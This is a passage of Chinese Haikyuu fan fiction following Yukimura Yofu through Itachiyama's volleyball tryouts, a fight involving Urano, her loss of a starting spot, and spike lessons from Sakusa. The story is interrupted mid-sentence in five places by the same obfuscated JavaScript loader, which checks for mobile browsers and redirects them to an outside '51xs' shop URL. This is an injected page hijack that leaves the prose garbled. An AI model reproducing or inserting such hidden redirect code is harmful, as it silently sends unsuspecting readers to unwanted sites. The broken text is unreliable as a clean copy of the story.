宫下由纪在人群中看到雪村夜芙的时候，忽然莫名其妙松了口气，然后目光快速从她身上移开，一丝不苟地开始对她们进行新一轮的测试。 雪村夜芙认真热完了身，沉下心严阵以待。 入部测试分为好几项，完成每一项测试后得到的分数相加得出总分，能否加入女排就看总分的排名了。 她必须要拿到很靠前的分数才行。 第一项测试，助跑摸高。 【测试机会共2次，取分值最高为最终成绩，20 分】 雪村站在测试点的队伍中，回想起星海光来之前教过她的发力方式，试着一遍遍唤醒自己记忆中练习过的那种感觉。 在这个体育馆内，她的身高并不算什么优势，比她高的也大有人在。 但是身高从来不是理由。 上一名女生测试结束，雪村夜芙深呼吸准备，侧脸的红色碎发全都被拨到了耳后。 助跑、起跳、落地—— 第一次测试，2.82米。 得分 12 分。 第二次测试，2.85 米。 得分 15 分。 最后得分，15 分。 听到自己的最终成绩的时候，雪村夜芙忍不住用力咬住了唇。 不够、不够……她练习的还是太少了。 同组有女生比她高了整整两分，她必须要追上去才行。 第二项测试，多种步伐移动。 【测试机会共2次，取两次平均分为最终成绩，20 分】 宫下由纪拿着当初给雪村夜芙计时两分钟的那只秒表，看着场上的女孩子都做好了准备后，立刻吹响了哨子开始计时。 身影在白线之间穿梭，手掌在规定的位置轻碰。 原本跑在雪村前面的一个女生在过度紧张之中滑倒，而雪村夜芙专注到极点，跨步越过她之后继续着自己的测试。 第一次测试，12″30。 得分 17 分。 第二次测试，12″00。 得分 18 分。 最后得分，17.5 分。 然后是下一项测试，一传。 满分 10 分，雪村夜芙最后得分，9 分。 …… …… 几项测试下来，雪村就感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138535|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到了，和她同组测试的女生们表现都不差。 她在心里默算着，自己的分差并没有和她们拉大。 最后一项测试是发球，满分 10 分。 而这项测试给出了两种方式。 第一种，原地发球十次，每次成功记 0.6分，最高6分。 第二种，跳发球十次，每次成功记 1 分，最高 10 分。 雪村夜芙毫不犹豫选了跳发球。 跳发球，影山飞雄在过去教过她无数遍。 她相信影山，也相信她自己。 而同组只有一个人和雪村做出了同样的选择，是那个在多种步伐移动中摔了一跤的女孩子。 雪村夜芙看了她一眼后收回目光，走向了自己的测试球场。 她一定不能输。 几分钟后。 雪村夜芙的最后一个跳发球压着线落下。 临时充当裁判的两名女排队员商量了一下，举手示意发球有效。 雪村夜芙发球的最后得分，10 分。 她紧绷的神经终于短暂放松，露出了开始测试到现在唯一的一抹笑容。 等到所有递交了女排申请的新生都测试完毕，整整一下午已经快要过去了。 但是几乎没有人离开，大家都在体育馆外等着测试成绩的排名，以此来确认自己是否能够顺利入部。 “没问题的没问题的！” 人群之中，竹取加野不断安慰着雪村。 “雪村你自己看不到，你最后那个——叫做跳发球是吧？简直帅呆了啊！” “你一定没问题的！” 雪村对着她笑了笑，但是知道竹取其实和自己一样紧张。 整整一百份入部申请，而宫下由纪只给出了十个名额。 十个名额……另外九十个人都会被无情淘汰。 “啊，教练出来了！” 所有的女孩子都很激动，看着宫下由纪带着确认好的名单走到了体育馆门口。 “感谢大家申请加入女排，但名额毕竟有限。” “别的不多说，只是作为教练，我还是希望你们明白一点——” 宫下由纪的目光在所有女孩子的身上移动，说着：“就算没能加入排球部，这对你们来说也不是一种否定，我不希望因此就磨灭你们对排球的热爱。” “那么，入选排球部的是以下十位同学——” “一，伊藤满秋……” “二……” “……” 随着一个个名字被念了出来，人群当中被念到名字的女生惊喜地叫出了声，而剩下的人则屏息等待着。 而被念出的名字越来越多，意味着剩下的机会也越来越少。 “七……” “八……” ……仍然不是雪村的名字，她的手不由地握紧，感觉有些晕眩。 整个世界，好像都在旋转。 竹取加野也紧张地握住了好友的手，用力到指尖发白。 而面对着这么多人，宫下由纪忽然顿了顿，目光向着雪村夜芙的方向看了过去。 “九……”她准备念下一个名字。 名单的倒数第二行，写着的是—— “雪村夜芙。” 在听到自己的名字那一刻，雪村整个人都晃了晃，然后眼角在瞬间泛红。 她……选上了！ 竹取加野愣了一愣，兴奋地抱住了雪村夜芙的脖子一下子跳了起来。 “夜芙！！太好了真的太好了……” 雪村夜芙也反手抱住了她，用力点头。 “十，鹤留枝子……” 宫下由纪公布完了名单，然后继续说着：“请以上十位同学，在明天下午四点，准时到三号体育馆集合……” “是！” 入学井闼山，成为井闼山女排的一员——雪村夜芙有些恍惚地想着，她终于做到了。 不久前，她刚刚和影山飞雄一起在东京体育馆见过井闼山女排打比赛的样子。 耀眼到无与伦比。 而今后她也会成为其中之一，努力站到那个球场—— 30.给他的教训 很多没有入选排球部的女孩子，是低头哭着离开的。 她们全都怀着和排球有关的美好的理想来到井闼山学院，但是现实大多数时候都没有同理心可言。 雪村夜芙看着她们离开的背影，内心忽然有些愧疚。 体育馆内，结束了新生入部测试后的宫下由纪，正被二三年级的女排队员围在中间，交代着接下去的训练安排。 井闼山女排的训练量比任何学校的训练量都要重，可以说她们在比赛场上赢下的每一分，都包含着无数训练落下的汗水。 并且井闼山学院倡导寄宿制，没有特殊情况，所有井闼山的学生都被要求住校。因此排球部的大家有了更多练球的机会。 早上7点到8点半的第一次训练，下午4点到5点半的第二次训练，以及晚上7点半到9点的第三次训练。 现在已经是傍晚6点了，宫下由纪没说几句就解散了队伍，只是在解散前叮嘱她们尽快去吃晚饭。 毕竟一个半小时以后，她们还要进行夜间的训练。 雪村夜芙迫不及待想要尽快加入训练，于是向着宫下由纪走了过去。 没想到有人比她更快。 齐耳的短发、灰褐色的长睫毛。 这个人……眉眼明明很温和，目光却比一般人更加平静坚定——是那个在雪村面前摔了一跤，最后又和她一样选择了打跳发球的女孩子。 测试总分排名第十，鹤留枝子。 即便出现了那样的失误，鹤留枝子也顺利进入了排球部。 “教练，晚上的训练，我也想参加。” “我可以自主训练，不会打扰球队的系统训练的——” 鹤留枝子比雪村夜芙先出声，对着宫下这样说着。 雪村夜芙紧随其后走了过来，“我也参加。” 鹤留枝子回头看了她一眼，然后目光又落回宫下由纪身上。 宫下没说什么，表示默许。 晚上九点，三号体育馆。 女排的大家都结束了训练，体育馆里已经没剩下多少人了。 结束了自主训练，雪村夜芙也刚刚做完拉伸准备回去休息。 结果鹤留枝子叫住了她，主动和雪村说了第一句话。 “测试的时候，”鹤留枝子看着她的眼睛真诚地说着：“抱歉，可能影响到你了。” 雪村想了想，明白过来她说的是摔倒的那件事，于是回答：“不算影响到吧。没有关系。” 说完，雪村就继续想要离开。 “如果没被影响，这是你的正常发挥的话，”鹤留枝子对着她的背影认真道：“那么如果没有那次意外摔倒，你不如我。” 雪村夜芙的脚步顿住了。 她的身后，鹤留枝子一字一句说着：“我要当正选。” 入选的十个女生里，正选大概不会超过两人。 雪村夜芙沉默了几秒，然后转身微笑：“但是意外发生了，不是吗？” “我也不会放弃的。” 就算鹤留说的是对的，她才是那个排名第十的人，但她也不会放弃。 雪村夜芙快步走开，没有再给鹤留枝子说话的机会。 现在的她们，与其说是队友，不如说是争夺正选位置的对手。 向往强校，但是强校的竞争压力并不仅仅来自校外的球队，有时候更加来自队内的竞争。 竞争总是残酷的。雪村心想着，但也是她必须要习惯的。 否则一不小心，就会被淹没。 九点以后的井闼山校园很安静，大多时候能听到的就是从不远处的山丘传来的树梢被风吹过的声音。 ……但是偶尔也会听到有人挨打的声音。 雪村夜芙并没有走校园的主路，而是早就找好了一条离宿舍更近的小道。 ——然后在从拐角处走出来的那一刻，她就看见了三个男生的背影，以及摔在地上的浦野和希。 她下意识往后退了回去，而那边的动静也传到了她的耳朵里。 “喂，做了这样的事却不道歉，还不愿意承认是你的错吗？” 浦野和希面前是两个他并不认识的高大男生，但另一个矮个子的雀斑男生他是知道的。 山崎和，他们排球部的替补自由人之一。 但不过是个替补而已。 浦野和希好笑地想着。 结束训练回去的路上，浦野和希被他们三个堵在这个角落里。 浦野被其中一个人推搡了几下后身形不稳摔倒在了地上，手心按在粗糙的石子破了皮，有些隐隐的疼。 “我做错什么了？” 而现在他边说边爬了起来，重复着反问：“球技差劲害队伍失分就算了，还要找人来教训我吗？” 浦野和希的手在运动服上擦了擦，血迹和泥土就沾在了衣角。 盯着面前唯一一个矮个子男生，他的语气里满是嘲讽：“不会以为让我闭嘴，你就能留在球场上了吧？” “球技差的家伙，少做梦了。” 山崎和的情绪已经近乎失控，“我只是想要好好打球而已啊……” “就因为你生来有打排球的天赋……所以就有资格对我这样的人随便指责吗？” “到底为什么这么对我？！” ……天赋？生来就有的打排球的天赋？ 浦野和希愣了愣，然后突然笑得停不下来，甚至笑得弯下了腰。 “你笑什么——到底在笑什么——” 山崎和崩溃地大声质问他。 “我问你到底在笑什么！！” “喂……阿和！”另外两个男生也有些慌了，怕好友的声音引来巡逻的老师，那现在这副样子就真的有些说不清了。 但山崎和挣脱了好友的手。 浦野和希终于笑够了，冷漠地看着山崎和，一步步向他靠近，嘴上说着：“是啊……你说的对。所以……” “所以给我滚开啊！天生就不会打排球的废物——” “啊！！”山崎和的眼里溢出泪花，大叫着揪住了浦野的衣领，用全身的力气把他往后推去。 “哐当”一声，浦野和希整个人撞上了身后围墙内的铁网上。 山崎和的拳头迎面冲着他砸了下来。 “……” 雪村夜芙真的很想一走了之。 浦野和希这种人…… 这种恶劣的人，这种完全不会说话的人，这种明知道要挨揍还非要嘴硬挑衅的人—— “是不是自己想死啊？！”雪村夜芙也忍不住骂出了声。 紧接着她就听到了身体撞在铁网上后，金属发出的碰撞的声音，还有一阵让人心惊的拳头砸在人身上的声音。 雪村暴躁地抓了抓自己的头发，不得不转身往回走去。 浦野和希脸上挨了两拳，上半身挣脱不开，脚用力地踹在了山崎和的腿上，后者却根本不觉得痛一样。 山崎和这时候的力气大到吓人，连上来拉架的他的好友也花费了好大的力气才把山崎和拉走。 浦野和希的衣领这才被松开，然后下意识就要捏了拳头反击。 “你们在做什么？” 雪村夜芙到底还是走了回来，看着乱成一团的这几个男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150645|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生，尽量冷静地开口。 借着远处昏黄的灯光，浦野和希看到雪村夜芙皱起的眉，忽然就松开了握紧的手。 另外几个人也终于反应了过来，向着雪村夜芙看了过去。 “不想我打电话通知老师，想当做什么事都没有发生过的话——” “就别再继续打架，赶紧从这里走开。” 雪村夜芙冷冷地开口，目光在浦野和希身上的时候停留了两秒，然后移开。 沾了血迹和泥巴皱巴巴的运动服，乱掉的头发和不知所踪的深蓝色汗带，还有嘴角像是淤青一样的痕迹。 被打得还挺惨的么。 山崎和这时候也终于冷静了下来，看着被自己打得有些狼狈的浦野和希，一时也有些不知所措。 要是他现在还手，说不定还好一些，但是浦野好像忽然就安静了下来。 在这个女孩子出现的时候。 “抱歉……” 山崎和的那两个朋友连连道歉，但却是对着雪村说的，“麻烦不要告诉老师，我们并不是故意要这么做的，这是因为——” “这件事到底为什么会发生和我没有关系。你们现在是走掉还是继续，我也无所谓。”雪村冷着脸。 “但是如果继续的话，我保证你们都会被校规处罚。” 听她都这么说了，仅仅犹豫一秒，那三个雪村夜芙没见过的男生就离开了。 只剩下她和蒲河和希。 看着好像伤得也不算太严重，雪村夜芙也不想再留下和他呆在一起，转身就走。 浦野和希下意识跟了上来。 雪村夜芙边走边没好气地扭头对他说，“别跟着我。” 浦野和希没说话，还是亦步亦趋跟在她身后。 雪村夜芙直接停下了脚步，转身看着他重复道：“不——要——跟着我！” 浦野和希眼神复杂地接住了她的目光，抿了抿唇说，“顺路而已。” 于是雪村夜芙侧身让出了路，挑眉：“可以，那你先走。” 浦野和希不动了。 “为什么要帮我？”他声音有些轻，和刚才嚣张的样子完全不同。 “哦，我在开学典礼上看到你发言了，”浦野和希耸了耸肩，“新生代表是吗？优秀学生？” “所以连这种事都要管？” 雪村夜芙气笑了，于是生平第一次说话带上了一些刻薄。 “你怎么样都和我没关系。” “但要是被打死了，到时候调监控，我是会作为路过的目击证人被带去做笔录的。” “少给别人添麻烦。” 浦野和希沉默了。 雪村夜芙不再管他，转身继续往宿舍的方向走去。 “喂，”浦野和希留在原地没有动，只是开口想要留住雪村，“你……可以来井闼山当经理吗？” “可以……来当我的经理吗？” 来井闼山当经理，是不是雪村夜芙就会像对待乌野那个二传一样——管教也好，约束也好，然后……也对他说那样的话？ “你在乌野当经理，所以才会鼓励他，对不对？” 说什么，乌野的二传是最厉害什么的。 浦野和希的声音里难得地带上了一些无助，“你能不能……也那样对我，对我说那些话？” 雪村夜芙脚步顿了顿但并没有回头，只是毫不犹豫给出了回答—— “不要！” 浦野和希整个人愣住了。 他的手心里，指甲嵌入伤口之中，却感觉不到疼。 为什么，影山飞雄可以……他不可以？ 31.不是正选 转眼已是四月，雪村夜芙加入井闼山女排也有大约一个月了。 再过一周的时间，IH 的东京都预选赛就要开始了。 而为了能够站到以正选的身份站到IH的赛场上，这段时间雪村夜芙都拼尽全力训练，把所有精力都放在了排球上。 所有周末都在训练中度过，她甚至一次都没有回过宫城。 而今天就是公布结果的日子了。 下午六点，宫下由纪吹哨让大家集合。 在经过了整整一个月的观察测试以后，宫下终于赶在IH开始之前决定好了女排的正选名单，并选择在今天公布。 雪村夜芙擦了擦额头的汗，忐忑地站在队伍之中，仿佛在等待一次对她的宣判。 “这次 IH 的选手名单是……” 宫下的名单之上，雪村夜芙的名字，是被写上去……但又被划掉的名字。 公布的名单里……并没有她。 “伊藤、鹤留。”宫下叫出了两个一年级的名字，“从明天开始，你们进入一组打训练赛，争取早日和队伍磨合完毕。” “其他人继续按原组训练……” “队长，你留一下。” “好了，解散吧。” 身边的人陆陆续续离开，而雪村夜芙站在原地，整个人都有些茫然。 就算已经这么努力……她好像还是被淹没了。 身边的鹤留枝子看了她一眼，似乎想说些什么，但最后还是没有开口。 或许是想说“早就知道会是这样”之类的话。 慢慢走出三号体育馆，雪村还是有些感觉不真实，于是下一秒她脚步一转，又往体育馆走了回去。 就算不能成为正选，至少她要问清楚，自己到底差在哪里。 ……即便教练说她所有地方都做得不够好也没有关系，她只是必须要找到问题发生的原因。 体育馆内，队长入江绫从宫下由纪手里接过了名单，看着最后那个被划掉的名字也感到有些好奇。 “伊藤满秋……雪村夜芙？”入江绫念出了这两个名字。 “您是在她们之间选出的最后一个正选吗？” “也是，这两个人的能力测试，看起来似乎不分伯仲呢……” 入江绫没有说出口的是，如果让她来选，她会选雪村夜芙——那孩子，留心观察的人都会发现，潜力实在是太大了。 "嗯。"宫下轻轻应了一声。 “所以……为什么不是雪村，而是伊藤同学？”入江绫还是忍不住问了出来。 去而复返的雪村夜芙站在她们身后，双手不禁握拳。 “你觉得……让现在的雪村上场，我们会得到什么呢？”宫下反问。 入江绫皱眉，不知道该怎么回答。 雪村夜芙的基础打得很好，接球、发球，还有扣球都不算差。 她这样的选手…… “一个平庸的主攻手。” 宫下由纪的余光察觉到了身后的人影的存在，她重复着，“一个不止她一个人可以做到的，‘平庸’的主攻手。” 所以——宫下这么想着，不要甘于成为平庸的人，不要满足于现状，再多拿出些什么向她证明吧。 入江绫低头思考了一会儿，然后说着，“我明白了。” 不被正选的位置所框住，让她像一颗自由的树一样，再多给她一点自由生长的时间，大概是这样的意思吧。 雪村夜芙默默退出了三号体育馆。 原来是这样吗？ 平庸……就算以为自己做好了能够做的一切，但是在宫下的眼里这都远远不够。 没有突出的天赋，没有最擅长的技能，各方面都还显得平平无奇的她。 雪村忽然有些自嘲地笑了出来。 她过去一直不理解，为什么有人说，自己已经拼尽了一切，也只能勉强如此平凡地活着——原来他们说的是真的。 就像现在的她一样。 宫下由纪转身，看到那个红发少女已经离开，微不可闻地叹了一口气，随后拿出了手机，拨通了一个电话。 看了看手表，现在对方那边的时间，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161912|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概才早上五点。 算了，打打看吧。 电话居然意外地很快接通。 “啊，是不是太早了……打扰到你休息了？” 宫下由纪的语气，随意之中带着熟稔。 “……我啊，是不是对你家那孩子要求太高了……” 宫下由纪永肩膀夹着手机，把文件夹重新打开，仔仔细细看着那组雪村夜芙的数据。 “她真的是个很努力的孩子啊，其实已经做得够好了呢……” 宫下由纪在多年的好友面前没有任何隐瞒。 甚至为了不表现出偏爱，在同样的水平下选了另一个女孩子——连这样的事情也没有隐瞒。 电话那头，温柔的女声安慰地说了些什么。 宫下由纪终于对自己做出的选择释怀了一些。 “好……嗯……等你回日本，那孩子一定已经成为出色的选手了……” 宫城。 影山飞雄结束了今天的训练，告别了乌野的大家后，独自一人走在回家的路上。 他从书包里掏出一盒牛奶，用单手把吸管插进饮料孔里。 一辆自行车忽然从他身边经过，骑车的是个女孩子，红色的长发。 因此下一刻，影山飞雄的手不自觉捏紧，手里的牛奶就撒出来了大半。 他下意识追了上去。 在拐角处的交通灯前，影山飞雄终于追上了那个红头发的女孩子。 那个女孩子听到了身后的声音，好奇地回过头—— 她戴着眼镜，发色也更深一些。 并不是雪村夜芙。 影山飞雄愣了愣，然后有些尴尬地移开了目光。 等到交通灯结束禁行时间，影山飞雄还站在原地。 手里的牛奶被放在地上，黑色头发的少年双手捧着手机，无比认真地打字。 【我好像，在路上看见你了。】 但明明他自己也很清楚，想见的人远在东京呢。 这条 Line的消息被留在了对话框，到底还是没有发出去。 32.佐久早前辈 晚上九点，三号体育馆。 晚间的训练已经结束了，但是体育馆里大部分女排队员都没有马上离开，而是继续给自己加练。 距离闭馆还有半个小时。 雪村夜芙独自加练了一会儿，忽然抱着球往不远处一个女生走去。 河井京香，三年级正选，井闼山女排首发主攻手。 雪村见过她的扣球，不论是速度和力度都是自己目前所比不上的。 而最重要的是，河井学姐很擅长打出压线球。这种球不仅很难接，而且也能借助对方的判断失误来拿分。 雪村夜芙鼓起勇气，在河井练习的时候过去打断了她。 河井京香疑惑地看向了雪村夜芙。 经历了一个月的共同训练，河井是知道这个女孩子的。 雪村夜芙…… 那个无比努力、进步快到让人觉得恐惧的后辈。 而现在她站到了自己的面前。 “河井学姐，”雪村夜芙脸上扬起笑容，“冒昧打扰，但是……” “你的压线球真的很厉害呢，”雪村夜芙这么说着，“可不可以教——” “那个……抱歉。”河井京香在明白了雪村夜芙的来意后，下意识地拒绝了。 雪村夜芙愣了愣，没有再继续靠近河井，而是在她两米远的地方停了下来。 “河井学姐……” 河井京香咬了咬唇，内心纠结，但最终还是选择说了出来。 “我不能教你，真的很抱歉……” “正选的位置，我等了整整两年。” “我好不容易，好不容易才可以上场打比赛……” 而一旦把她擅长的技能教给雪村，她这样的人很快就会被超过，然后被取代吧？ 这么想着，河井京香根本没有办法答应下来。 “……所以，教你这种事，我很难说服自己去做。” “对不起。” 雪村夜芙脸上的笑意淡了下去。 她摇了摇头，嘴上说着“没事的”，然后伸手不停地把脸侧的碎发拨到耳后，来掩饰自己的手足无措。 “没事的，我……完全能理解。” 雪村夜芙艰难地这么说着，然后又对着河井笑了笑，转身走回原来的位置。 回到了原来的位置，雪村夜芙放在角落地板上的包中，手机传来收到新讯息的提醒声。 她走到角落放下了球，背对着所有人蹲在地上打开了Line。 是竹取的简讯，问她明天要不要一起去银座逛街，顺便去吃雪村最喜欢的甜口可丽饼。 明天……啊，原来又是周末了。 周末的话，可以自主训练很久。 雪村夜芙犹豫了一下，还是拒绝了竹取的邀请，只是说着下次一定要和她一起去这样的话。 然后立刻收到了竹取接二连三发来的回复。 【你呀，不要太辛苦啊！】 【那好吧……等你想去的时候随时call我！】 【好了好了不用回我的消息了，快去继续训练你的啦！】 雪村夜芙忍不住弯了弯嘴角，刚刚被拒绝的心情稍微好转了一些。 关掉和竹取的聊天界面，在Line的列表稍微往下翻，雪村夜芙的目光停留在了那个用排球当头像的对话框上。 上一次聊天记录停留在几天前。 影山飞雄跟她说今年夏天GUGU牛乳又出了新口味的牛奶，很好喝，问她那边有没有得卖。 然后那天雪村夜芙找遍了学校所有的自动贩售机，但是都没有找到影山飞雄说的新口味牛奶。 …… 翻着这样的聊天记录，想起这样明明微不足道的小事，雪村夜芙忽然觉得很沮丧。 她蹲在地上，在他们的对话框里打字，打得很慢很慢。 【我有一点想见你】 连自己都有些惊讶，但还是下意识就这样子写了。 雪村夜芙又盯着这行字看了一遍，然后慌乱地直接把手机屏幕关掉了。 这要怎么发出去…… 那个笨蛋看到这样的话，会觉得很奇怪也说不定吧。 雪村夜芙把手机放回背包，拿起排球从地上站了起来。 接下去的时间，拿来继续练发球好了。 影山教过她的发球。 她已经变得和他一样厉害了吗？ 雪村夜芙把球打了出去，心想着如果影山在的话，会对打出这种球的她说什么呢？ 会不会和他们认识的第一天一样，还是说她打球很烂这样的话啊？ 那个根本不会说话的笨蛋。 三号体育馆外，佐久早圣臣手插在口袋里，戴着口罩单肩背着包路过。 夜晚的体育馆内灯光很强，隔着透明的玻璃照亮了体育馆外的走廊。 他往体育馆里看去，看到了一个有些熟悉的人影。 “……也加入排球部了么？” 佐久早一眼就看到了雪村夜芙，那个红浆果发色的女孩子。 莫名其妙被影山飞雄托付给他的，前乌野经理。 佐久早站在体育馆外，隔着玻璃看着她走过去和另一个女生说了几句话，然后很快又离开，紧接着低着头蹲在了角落的地上。 背影很无助的样子。 “……” 佐久早圣成皱了皱眉，眉上两点黑痣也跟着蹙了起来。 现在撤回他答应过的“托孤请求”什么的还来得及吗？ 要不然的话，她这副样子，按照约定自己是不是得管……？ 真是，他那时候到底为什么会答应下来这种事啊？ 雪村夜芙走出三号体育馆的时候，看到那个带着口罩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176424|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高大男生靠在体育馆门口的墙上。 微微有些长的黑色卷发，还有浑身散发出来的带着忧郁感的气质。 是井闼山男排的佐久早前辈啊，雪村心想着，他在这里做什么？ 但是既然见到了，虽然觉得奇怪，雪村夜芙也不会视而不见的，于是乖巧地上前问好。 “佐久早前辈，”雪村夜芙小跑着走到了他面前，但是叫完他的名字以后又不知道该说些什么了。 他们之间的交集的话……只有那个笨蛋了吧。 雪村夜芙想了想，说道：“影山同学之前在青训的时候，一定受您照顾了。我——” “雪村夜芙。”佐久早等到了自己要等的人，背部离开墙面，站直了身子。 他的目光落在面前的少女身上，叫出了她的名字。 “……是？”雪村有些惊讶。 佐久早居然会知道她的名字吗？ “……” 口罩下的薄唇用力抿了抿，不知道该说什么的的佐久早，感觉现在面临的问题比让他扣一个“绝对不可能让对方接到的球”这种，还要困难得多。 雪村夜芙奇怪地看着他，眼睛里满是困惑。 佐久早把头往边上一偏，避开雪村的目光的同时喉结动了动，完全是一副明明有事但是说不出口的样子。 雪村夜芙：……？ 她耐心地等着面前的少年开口，目光落在他身上小心地打量着。 好像比影山飞雄还要高很多啊。 嗯，也比影山要更结实的样子，是因为是主攻手的原因吗？ 啊……锁骨很好看呢…… 但是为什么要一直戴口罩啊？ 气氛有些微的不自然。 而这个时候，河井京香从体育馆里背着包走了出来，准备回宿舍，然后就看到了站在门口不远的雪村夜芙。 之前拒绝雪村的愧疚感又涌了上来。 “那个……雪村学妹。” 河井京香走上前，虽然有些意外还有别的男生在，但还是犹豫着开口道：“不能教你扣球这件事，我真的真的很抱歉……” “啊，没关系的河井学姐！”雪村连忙摆手，“你也没有做错任何事，不用道歉的。” “我不在意的……” 佐久早看了过去，认出了这就是那个之前被雪村搭话过的女生。 哦……原来是因为被拒绝了，才会一副那么难过的样子吗？ 佐久早若有所思。 好不容易送走了河井学姐，雪村夜芙松了口气。 而在她身后，佐久早圣臣像是下了某种决心。 “那个……”佐久早轻轻用手摘下了口罩，指尖看上去很柔软。 他声音闷闷地说着：“我帮你。” “……练习扣球。” 雪村夜芙瞬间睁大了眼睛。 33.扣球训练 第二天下午，周六。 四号体育馆的其中一个排球场上，井闼山的王牌自由人古森元也居然在帮忙托球。 他是被佐久早圣臣临时抓来的。 不过倒也没觉得有什么不好就是了，反正周末不用上课不用训练的话，他也没有什么特别想做的事情。 之前也是会来学校打球的。 但是这次有些不一样——古森元也看向了那个很认真在练习排球的女孩子。 不仅人长得很漂亮，球打得也不错嘛。 而且这副每一秒钟都不怠慢、持续努力的样子也和圣臣很像，确实是那小子会喜欢的性格。 所以那小子到底什么时候开窍的啊…… 可恶，之前都完全没发现。 古森内心这么想着，然后用力托出去了一颗球，网前的雪村夜芙助跑起跳，将古森给出的球扣到了网的那边。 “……” 网的那边是终于摘掉了口罩的佐久早圣臣。 在教雪村扣球之前，他需要先了解她原本的扣球习惯。 于是这一上午，佐久早已经看她扣球很久了。 虽然一开始的时候佐久早根本没意识到，其实相比起来自己看人更多而不是在看球…… 但是雪村对此完全没有意见，只是一遍遍地在反复扣球。 没多久，网的那边已经滚落了一大堆排球了。 “好，最后一个！” 古森元也弯腰从球筐里抱出最后一颗排球，然后向着雪村夜芙托球过去。 “啪——”的一声，雪村用尽全力起跳并且扣了下去，球在离底线二十公分左右的地方落地。 ……她本来是希望也可以打出压线球的，但果然还是很难控制好，还是打得保守了一点。 趁着一筐排球用完，雪村夜芙终于短暂地休息了一下，然后准备跑过去捡球。 古森元也也推着球筐过去帮忙。 看着往自己身边跑过来的少女，佐久早圣臣这时候已经回过神来了，意外地看上去很靠谱。 “你的球路，”佐久早想了想后对她说：“太单一了。” “一直打这几种球路的话，很容易就被看穿，然后就会被利用。” “最后反噬。” 雪村夜芙刚把一颗球捡起抱到了怀里，听到这样的话后立刻直起了身，一副认真接受批评的样子。 “是！前辈。” 佐久早愣了一秒，忽然觉得雪村夜芙这幅认真叫着前辈的样子，居然有点像那个好意思跑来麻烦他的影山飞雄…… 不行，感觉很不好。 佐久早快速地把这种可怕的想法从自己的大脑里清理了出去。 古森元也看他们在说话，一个人默默推着球筐捡球。 顺便腹诽着，那小子倒是语气再温柔一点啊，现在这样很容易被当成古板的前辈那样受人尊敬吧…… 真的变成那样的话后续要怎么展开啊？！ 但是佐久早完全没有接收到古森递给他的眼神。 在脚边捡起一颗球，佐久早把球递给了雪村，“给我托球。” 雪村顺从地点点头，走远了几步以后给佐久早托了一个对她来说相对偏高的球。 ——但是却是佐久早前辈擅长的那种托球，她在春日合宿的时候看到过。 佐久早在球离开雪村夜芙的手之前就开始助跑，然后看准时机扣下了一球。 一个带着轻微旋转、球路避开了拦网重点拦防位置的扣球。 “咚——”球在很靠近线的位置落下。 雪村夜芙睁大眼睛看着这球，完完全全被惊艳到，转过脸来眼睛亮亮地看着佐久早圣臣。 佐久早圣臣感觉到了雪村夜芙的目光，刻意没有看向她。 “佐久早前辈，这样的扣球……真的可以教我吗？” 雪村夜芙有些不确定地说着，目光里满是期待，也有些忐忑。 如果真的可以的话…… 佐久早平静地点了点头，不得不直视她的目光。 “那……那真是太好了！前辈！！” 雪村夜芙高兴到有些语无伦次，除了不停地道谢外，一下子不知道该说什么好。 然后完全没有发觉面前的少年出现了明显的呆滞。 佐久早圣臣很少面对这样的处境，他也完全招架不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187227|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 